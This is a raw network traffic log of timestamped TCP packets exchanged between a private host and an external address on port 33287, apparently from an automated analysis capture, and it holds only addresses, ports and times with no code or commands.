Sep 3, 2021 10:57:19.161217928 CEST	49811	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.165801048 CEST	49811	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.199944019 CEST	33287	49811	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.201270103 CEST	33287	49811	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.201297998 CEST	33287	49811	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.201452017 CEST	49811	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.201478958 CEST	49811	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.202033997 CEST	49811	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.202073097 CEST	49811	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.236249924 CEST	33287	49811	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.236409903 CEST	49811	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.310450077 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.343163013 CEST	33287	49812	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.343553066 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.344204903 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.376821041 CEST	33287	49812	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.376987934 CEST	33287	49812	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.377069950 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.409869909 CEST	33287	49812	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.409990072 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.410552025 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.414627075 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.447313070 CEST	33287	49812	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.447808981 CEST	33287	49812	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.447828054 CEST	33287	49812	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.447912931 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.447932959 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.449022055 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.449040890 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.481626034 CEST	33287	49812	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.482081890 CEST	49812	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.555908918 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.592061043 CEST	33287	49813	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.592247009 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.594496965 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.630825043 CEST	33287	49813	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.630857944 CEST	33287	49813	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.631632090 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.667870998 CEST	33287	49813	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.667983055 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.668648005 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.672936916 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.709295034 CEST	33287	49813	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.709470987 CEST	33287	49813	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.709487915 CEST	33287	49813	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.709580898 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.709649086 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.710752964 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.710804939 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.746848106 CEST	33287	49813	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.746984005 CEST	49813	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.821414948 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.857443094 CEST	33287	49814	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.857604027 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.858283997 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.894066095 CEST	33287	49814	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.894376993 CEST	33287	49814	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.894912004 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.930847883 CEST	33287	49814	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.931030989 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.931648016 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.936536074 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.972512960 CEST	33287	49814	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.972901106 CEST	33287	49814	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.972944975 CEST	33287	49814	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:19.973006964 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.973032951 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.973679066 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:19.973694086 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.009696007 CEST	33287	49814	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.009792089 CEST	49814	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.087025881 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.120177984 CEST	33287	49815	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.120363951 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.121217012 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.154325008 CEST	33287	49815	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.154350042 CEST	33287	49815	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.154479027 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.187762976 CEST	33287	49815	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.187859058 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.188388109 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.193159103 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.226557016 CEST	33287	49815	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.227149010 CEST	33287	49815	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.227180004 CEST	33287	49815	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.227241993 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.227274895 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.227829933 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.227873087 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.260766983 CEST	33287	49815	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.260989904 CEST	49815	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.338603973 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.371337891 CEST	33287	49816	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.371440887 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.372673988 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.405992985 CEST	33287	49816	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.406024933 CEST	33287	49816	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.406275988 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.439883947 CEST	33287	49816	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.440984011 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.441540956 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.445964098 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.478820086 CEST	33287	49816	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.479090929 CEST	33287	49816	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.479110003 CEST	33287	49816	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.479743958 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.480020046 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.480041027 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.512725115 CEST	33287	49816	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.512890100 CEST	49816	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.587207079 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.620405912 CEST	33287	49817	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.620575905 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.621726036 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.654516935 CEST	33287	49817	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.654548883 CEST	33287	49817	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.654654980 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.687644005 CEST	33287	49817	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.687810898 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.688401937 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.692096949 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.725112915 CEST	33287	49817	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.725656033 CEST	33287	49817	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.725680113 CEST	33287	49817	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.725778103 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.725807905 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.726294041 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.726331949 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.759339094 CEST	33287	49817	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.760998011 CEST	49817	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.836467028 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.872556925 CEST	33287	49818	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.872997999 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.873842955 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.909703970 CEST	33287	49818	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.909982920 CEST	33287	49818	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.910160065 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.946140051 CEST	33287	49818	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.946576118 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.947004080 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.950228930 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.986131907 CEST	33287	49818	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.986955881 CEST	33287	49818	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.986977100 CEST	33287	49818	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:20.987143993 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.987622023 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:20.987998962 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.023978949 CEST	33287	49818	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.027045965 CEST	49818	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.103148937 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.139463902 CEST	33287	49819	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.140364885 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.140397072 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.176511049 CEST	33287	49819	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.177344084 CEST	33287	49819	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.178472996 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.216308117 CEST	33287	49819	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.216670036 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.217511892 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.221457958 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.258172989 CEST	33287	49819	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.258372068 CEST	33287	49819	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.258383989 CEST	33287	49819	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.258800030 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.258898020 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.258924007 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.295013905 CEST	33287	49819	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.297182083 CEST	49819	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.367886066 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.401551008 CEST	33287	49820	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.401878119 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.402790070 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.435909986 CEST	33287	49820	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.435939074 CEST	33287	49820	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.436646938 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.470087051 CEST	33287	49820	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.470465899 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.471195936 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.475394011 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.508660078 CEST	33287	49820	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.508971930 CEST	33287	49820	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.509016037 CEST	33287	49820	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.509093046 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.509116888 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.509958029 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.510082960 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.543276072 CEST	33287	49820	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.543395996 CEST	49820	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.618211031 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.653871059 CEST	33287	49821	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.656608105 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.656821012 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.696280956 CEST	33287	49821	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.696315050 CEST	33287	49821	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.696940899 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.732789993 CEST	33287	49821	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.732919931 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.733473063 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.737665892 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.776087999 CEST	33287	49821	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.776118040 CEST	33287	49821	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.776140928 CEST	33287	49821	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.776252031 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.776798010 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.776839972 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.812323093 CEST	33287	49821	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.812516928 CEST	49821	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.904134989 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.940749884 CEST	33287	49822	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.941036940 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.942441940 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:21.980643034 CEST	33287	49822	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.980676889 CEST	33287	49822	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:21.982007027 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.017899036 CEST	33287	49822	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.018168926 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.018801928 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.022617102 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.058660030 CEST	33287	49822	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.059170008 CEST	33287	49822	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.059257984 CEST	33287	49822	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.059370041 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.059403896 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.060039997 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.060126066 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.095864058 CEST	33287	49822	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.095983028 CEST	49822	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.164783001 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.197812080 CEST	33287	49823	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.197943926 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.198582888 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.231532097 CEST	33287	49823	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.231558084 CEST	33287	49823	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.231646061 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.264518976 CEST	33287	49823	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.264600039 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.264998913 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.267652988 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.300831079 CEST	33287	49823	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.301229954 CEST	33287	49823	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.301265955 CEST	33287	49823	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.301327944 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.301420927 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.301774979 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.301809072 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.335268974 CEST	33287	49823	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.335365057 CEST	49823	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.415720940 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.452065945 CEST	33287	49824	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.452261925 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.452771902 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.488935947 CEST	33287	49824	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.489073038 CEST	33287	49824	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.489165068 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.525185108 CEST	33287	49824	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.525298119 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.525684118 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.528309107 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.564601898 CEST	33287	49824	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.564891100 CEST	33287	49824	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.564913034 CEST	33287	49824	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.565006971 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.565041065 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.566303968 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.566337109 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.602479935 CEST	33287	49824	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.602565050 CEST	49824	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.680322886 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.713412046 CEST	33287	49825	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.713598013 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.714282990 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.746972084 CEST	33287	49825	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.747279882 CEST	33287	49825	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.747386932 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.780565023 CEST	33287	49825	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.780656099 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.781027079 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.783606052 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.816900969 CEST	33287	49825	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.817281008 CEST	33287	49825	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.817321062 CEST	33287	49825	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.817375898 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.817408085 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.818150997 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.818202019 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.851206064 CEST	33287	49825	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.851294041 CEST	49825	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.931807041 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.965840101 CEST	33287	49826	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:22.965935946 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:22.967080116 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.000511885 CEST	33287	49826	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.000586987 CEST	33287	49826	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.000670910 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.034061909 CEST	33287	49826	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.034194946 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.034734964 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.039971113 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.073335886 CEST	33287	49826	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.073762894 CEST	33287	49826	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.073784113 CEST	33287	49826	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.073820114 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.073848963 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.074424982 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.074453115 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.107868910 CEST	33287	49826	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.107988119 CEST	49826	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.181346893 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.217504978 CEST	33287	49827	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.217622042 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.218216896 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.252774000 CEST	33287	49827	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.253479004 CEST	33287	49827	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.253683090 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.286900043 CEST	33287	49827	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.286966085 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.287334919 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.290343046 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.323803902 CEST	33287	49827	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.323879957 CEST	33287	49827	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.323911905 CEST	33287	49827	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:23.323941946 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.323980093 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.324378014 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.324408054 CEST	49827	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:23.357614994 CEST	33287	49827	185.156.73.37	192.168.2.5
